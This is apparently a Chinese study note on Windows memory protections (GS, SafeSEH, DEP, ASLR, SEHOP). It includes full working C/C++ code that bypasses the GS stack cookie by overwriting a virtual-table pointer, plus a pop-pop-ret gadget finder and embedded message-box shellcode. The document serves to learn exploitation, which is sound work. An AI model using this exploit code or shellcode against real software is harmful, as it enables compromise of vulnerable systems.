Windows 安全机制
漏洞的万源之本在于冯诺依曼设计的计算机模型没有将代码和数据进行区分——病毒、加壳脱壳、shellcode、跨站脚本攻击、SQL注入等都是因为计算机把数据和代码混淆这一天然缺陷而造成的。
Windows XP SP2 之前的系统致力于系统稳定性,忽略安全性;之后的 Windows 系统系统加入了独特的安全性设计:
1. GS 编译技术:函数返回地址之前加入了 Security Cookie,返回之前首先检测 cookie 是否正确,栈溢出难度增加。
2. 增加了对 S.E.H 的安全校验机制。
3. 堆中加入了 Heap Cookie、Safe Unlinking 等机制,原本就困难的堆溢出增加了更多限制。
4. DEP(Data Execution Protection)将数据部分标识为不可执行。
5. ASLR(Address Space Layout Randomization,加载地址随机化),对系统关键地址进行随机加载。
6. SEHOP(Structured Exception Handler Overwrite Protection,S.E.H 覆盖保护)作为安全 SEH 的补充,将 SEH 的保护提升到系统级别。
从 Vista 开始(包括 08 和 Win7)加入了安全快表、元数据加密、永久 DEP、ASLR 和 SEHOP S.E.H 链验证等技术,安全性有很大提高。
GS 安全编译保护
VS2003(VS7.0)开始,默认启用了 GS 编译选项,为每个函数调用增加了额外的数据和操作:
· 所有函数调用发生时,向栈帧内压入一个额外的随机 DWORD——“canary”,IDA 中将这个随机数标注为“Security Cookie”
· Security Cookie 位于 EBP 之前(ret addr, EBP, security cookie),系统还将在 .data 的内存区域中存放一个 Security Cookie 的副本。
· 栈帧内发生溢出时,Security Cookie 将首先被淹没,之后才是 EBP 和返回地址。
· 函数返回前,系统将执行额外的安全验证操作:Security Check:比较栈帧内和 .data 中的 Security Cookie。
· 如果安全验证显示栈帧内的 Security Cookie 被淹没,系统将进入异常处理流程,函数不会正常返回,ret 指令不会被执行。
为了减小这种额外的数据和操作带来的性能损失,编译器不会对所有函数应用 GS,以下情况不会应用 GS:
1. 函数不包含缓冲区。
2. 函数被定义为具有变量参数列表。
3. 函数使用无保护的关键字标记。
4. 函数在第一个语句中包含内嵌汇编代码。
5. 缓冲区不是 8 字节类型且大小不大于 4 个字节。
但是 VS 2005 SP1 中引入了一个新的安全标识:
#pragma strict_gs_check // 将强制使用 GS,对不符合 GS 保护条件的函数添加 GS 保护
除了 Security Cookie 外,从 VS 2005 开始,还使用了变量重排技术:编译时根据局部变量的类型对变量在栈帧中的位置进行调整,将字符串变量移动到栈帧高地址,防止该字符串溢出时破坏其他局部变量;同时将指针参数和字符串参数复制一份副本到内存低地址,防止函数参数被破坏。
想硬碰硬地冲击 GS 机制很难成功,Security Cookie 的细节如下:
· 系统以 .data 字的第一个双字 DWORD 作为 Cookie 的种子,即原始 Cookie
· 程序每次运行时的种子都不同,种子有很强的随机性
· 栈帧初始化以后系统用 ESP 异或种子,作为当前函数的 Cookie,以此作为不同函数之间的区别
· 函数返回前,用 ESP 还原出 Cookie 种子
微软出版的 Writing Secure Code 一书中谈到 GS 选项时,做了个形象的比喻:GS 好像汽车里的安全带和气囊,事故发生时能起到很好的保障,但并不意味着可心像疯子一样飚车:
· 修改栈帧中的函数返回地址的经典攻击将被 GS 有效遏制 · 基于改写函数指针的攻击(如 C++ 虚函数)和针对异常处理的攻击,GS 机制仍然很难防御 · GS 是针对栈帧的保护机制,很难防御堆溢出攻击
利用未被保护的内存突破 GS
如前方所述,并不是所有函数都会被 GS 保护,比如当函数不包含 4 字节以上的缓冲区时,即使开启 GS 选项,函数也不被保护,这时就有了突破口。
覆盖虚函数突破 GS
GS 机制中,函数只有在返回时,才去检查 Security Cookie,在这之前是没有任何检查措施的。如果能在程序检查 Secyrity Coodie 之前支持流程,就可心实现对程序的溢出。C++ 的虚函数正好提供了这样的机会。
注意,实验环境为(第一次实验时没关闭代码优化,strcpy 变成内联函数了,还有各种不好观察……):
VM : Windows XP Pro sp2 Visual Studio 2008 VS 关闭代码优化: Project \ <project_name> Properties \ Configuration Properties \ C/C++ \ Optimization \ Optimization : Disabled(/0d) VS 开启 GS 保护: Project \ <project_name> Properties \ Configuration Properties \ C/C++ \ Code Generation \ Buffer Security Check : Yes
Project Build Version : Release
实际上 VS2008 中关键的配置除了上述两项外,还有 Optimization 中的 Enable Intrinsic Functions。如果未开启,帧栈大小为 0xCC;如果开启,strcpy 会编译成内联函数,并且栈帧更大(大小为 0xDC),多出的 16 字节栈帧(4 个 DWORD)会用来作为内联 strcpy 的临时存储,并且其中会有一个 DWORD 存储函数内 buffer 数组在栈内的地址,而这个存储的地址是原书 shellcode 执行的关键。
以下实验中,VS2008 的项目配置会很大程度地影响二进制代码,经过几次失败,最终成功实验的配置如下。
实验中要使用跳板,我修改了上次使用的跳板搜索代码如下(.c 文件):
1 // file : findop.c 2 #include <windows.h> 3 #include <stdio.h> 4 5 #define DLL_NAME "msvcr90.dll" 6 #define POP_WANT 5 //搜索 pop pop ... retn 指令时需要的 pop 的数量 7 #define POPS 13 //可使用的 pop 指令数量 8 int pop[POPS]={0x07,0x17,0x1F,0x58,0x59,0x5A,0x5B,0x5C,0x5D,0x5E,0x5F,0x8F,0x9D};//opcode of `pop [reg]` 9 10 int main() 11 { 12 BYTE *ptr,op; 13 int flag[256], position, cnt; 14 HINSTANCE handle = LoadLibrary(DLL_NAME); 15 BOOL done_flag = FALSE; 16 17 if(!handle) 18 { 19 printf("Load dll error!\n"); 20 exit(0); 21 } 22 ptr = (BYTE*)handle; 23 memset(flag, 0, sizeof(int) * 256); 24 for(cnt=0;cnt<POPS;flag[pop[cnt++]]=1); 25 for(position=cnt=0; !done_flag; position++) 26 { 27 __try 28 { 29 #if 0 // 直接搜索特定指令序列 30 if(!strncmp(ptr+position,"\x5F\x5E\xC3",3)) // pop pop ret 31 printf("OPCODE found at 0x%08X\n",(int)ptr+position); 32 #else // 搜索 pop pop ... retn 指令 33 op=(BYTE)*(ptr+position); 34 if(cnt==POP_WANT && op==0xC3) // 0xC3 : ret 35 printf("OPCODE found at 0x%X\n",(int)ptr+position-POP_WANT); 36 cnt = flag[op] ? cnt+1 : 0; 37 if(cnt>POP_WANT) cnt=0; 38 #endif 39 } 40 __except(1) 41 { 42 printf("End Of 0x%x\n",(int)ptr+position); 43 done_flag=TRUE; 44 } 45 } 46 getche(); 47 return 0; 48 }
如下代码将演示如何通过 C++ 虚函数绕过 GS 保护,现在先贴代码后作分析(.cpp 文件):
1 #include "string.h" 2 #include "stdio.h" 3 #include "windows.h" 4 5 #define POPS 13 6 int pop[POPS]={0x07,0x17,0x1F,0x58,0x59,0x5A,0x5B,0x5C,0x5D,0x5E,0x5F,0x8F,0x9D};//opcode of `pop [reg]` 7 char opbuf[0xff]; 8 9 class GSVirtual { 10 public: 11 void gsv(char *src) 12 { 13 char buf[188]; 14 strcpy(buf, src); 15 printf("ready to overby GS\n"); 16 vir(); 17 } 18 virtual void vir() 19 { 20 printf("in virtual function.\n"); 21 } 22 }; 23 24 char *genop() 25 { 26 BYTE *ptr,op; 27 int flag[256], position, cnt, pop_want=2; 28 HINSTANCE handle = LoadLibrary("msvcr90.dll"); 29 BOOL done_flag = FALSE; 30 if(!handle) 31 { 32 printf("load dll error!\n"); 33 exit(0); 34 } 35 ptr = (BYTE*)handle; 36 memset(flag, 0, sizeof(int) * 256); 37 for(cnt=0;cnt<POPS;flag[pop[cnt++]]=1); 38 for(position=cnt=0; !done_flag; position++) 39 { 40 __try 41 { 42 op=(BYTE)*(ptr+position); 43 if(cnt==pop_want && op==0xC3) 44 { // 找到第一个符合条件的跳板时终止搜索,踏板地址在放在 cnt 中 45 printf("opcode found at 0x%X\n",cnt=(int)ptr+position-pop_want); 46 break; 47 } 48 cnt = flag[op] ? cnt+1 : 0; 49 if(cnt>pop_want) cnt=0; 50 } 51 __except(1) 52 { 53 printf("end of 0x%08X\n",(int)ptr+position); 54 done_flag=TRUE; 55 } 56 } 57 sprintf(opbuf, "%c%c%c%c%.216s%c%c%c%c", cnt&0xff,(cnt>>8)&0xff,(cnt>>16)&0xff,(cnt>>24)&0xff, // 将跳板地址按小端存储 58 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" 59 "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" 60 "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" 61 "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" 62 "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" 63 "\x53\xFF\x57\xFC\x53\xFF\x57\xF8" // 168 字节的弹窗 shellcode 64 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 65 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90", // 40 字节的 nop 66 ((int)opbuf)&0xff,(((int)opbuf)>>8)&0xff,(((int)opbuf)>>16)&0xff,(((int)opbuf)>>24)&0xff // shellcode 在堆中的地址,在堆中则地址无 0x00 67 ); 68 if(!cnt)printf("suitable opcode not found!\n"); 69 return opbuf; 70 } 71 72 int main() 73 { 74 GSVirtual test; 75 test.gsv(genop()); 76 return 0; 77 }
上述代码的安全分析如下:类 GSVirtual 中的 gsv() 函数调用了虚函数 vir(),而 gsv() 中存在典型的缓冲区溢出漏洞(第 14 行)。如果能通过缓冲区溢出影响虚函数调用的虚表指针并设法控制 EIP,就能在调用 vir() 时控制流程。
函数 gsv() 内部的栈帧结构如下:
strcpy 执行前(左边部分):
0x0012FF6C 是 EBP 地址;0x0012FF70 是返回地址;0x0012FF74 是传入参数的地址,即 opbuf 的地址(这个是全局参数,这样就会放在堆中,地址中出现 0x00 的可能性比栈中低);0x0012FF78 是虚表地址;Security Cookie 存储在 0x0012FF68。
strcpy 执行后(中间和第三第图):
0x0012FE90 是 ESP 地址;0x0012FE90 ~ 0x0012FE9C 这 20 字节是用来供内联(Intrinsic Function)的 strcpy 用途临时存储区的,其中距离 ESP 4 字节的 0x0012FE94 存储了 buf(见代码第 13 行)的起始地址,这个是溢出的关键;0x0012FEA0 存储的是 Security Cookie 的地址;0x0012FEA4 即是 buf 数组的起始地址。
虚函数调用的过程是这样的:程序根据虚表找到虚表指针,然后从虚表指针处取出虚函数地址,并转到这个地址执行。对于上面的例子,可以增加传入 gsv() 函数的字符串参数长度,使其覆盖虚表地址,并指向 opbuf[] 也即是 shellcode。书中的示例中,传入参数的地址的最低 8 位恰好是 0x00,因此可心巧妙地用 shellcode 末尾的 \x0 来覆盖虚表的低8位,使虚表指向 opbuf[]。我用的方法省事些,直接在 genop() 函数中显示地用 opbuf[] 的地址来辅助产生 shellcode(见第 66 行)。
在我上述代码中,shellcode 是通过程序产生的(直接引用变量地址,不需要想办法来定位这些不确定的位置),本来可以直接在 shellcode 的头部(也就是虚函数地址)直接用 opbuf + 4 来当作虚函数地址指针,以方便地执行关键代码(程序定位了虚函数地址后,会 call 这个地址),但为了表达书中的跳板技巧,没用那么简单粗暴有效路子。
找到虚函数地址后,会有个 call 操作(返回地址压栈——将有待执行的 Security Cookie 检查等操作挂起,并将 EIP 转向虚函数)。之前有使用 jmp esp 作为跳板的例子,但在这里不能用这个方法,因为 esp 没有指向 shellcode,而是指向了 call 操作之后的返回地址。传入 gsv() 的参数并不在栈中,因此无法跳回 opbuf[] 继续执行 shellcode 了。
回到栈中观察,opbuf[] 中的内容已经复制到 buf[] 中了,buf[] 刚好在栈中,而且刚好 buf[] 的地址存储于 0x0012FE94 —— 距离 ESP 8 个字节的地方(call 操作时压入了 4 字节的返回地址),也就是说,只要在 call 操作后,执行 pop pop retn,就刚好能执行 0x0012FE94 中存储的 buf[] 中的内容:0x0012FEA4 开始的 shellcode!因此思路就出来了,只要在 shellcode 的首部存入指向 pop pop retn 的指令的地址(跳板地址),这个地址就会被当作虚函数指针被执行,执行后,EIP 会转向 buf[] 来执行 shellcode(跳板地址被解析为操作码时,不能影响 shellcode 的执行,我使用了踏板搜索见 26 - 56 行,没判断搜索到的代码会不会影响 shellcode,但运气好成功了)。
备注:
本次实验中,由于对编译环境的不正确配置,实验过程时间拉长了。
如果关闭了 Enable Intrinsic Functions,gsv() 函数中的 strcpy 将会以函数调用的形式而非内联函数的形式实现,这时栈帧结构会不一样,栈的大小会小些,可以将跳板设置成 "pop [reg], pop[reg], pop[reg], jmp esp" 序列,但在 msvcr90.dll 和 kernel32.dll 中都没有找到这个序列,暂时就放弃尝试了,毕竟实验中用到的溢出技术已经理解了。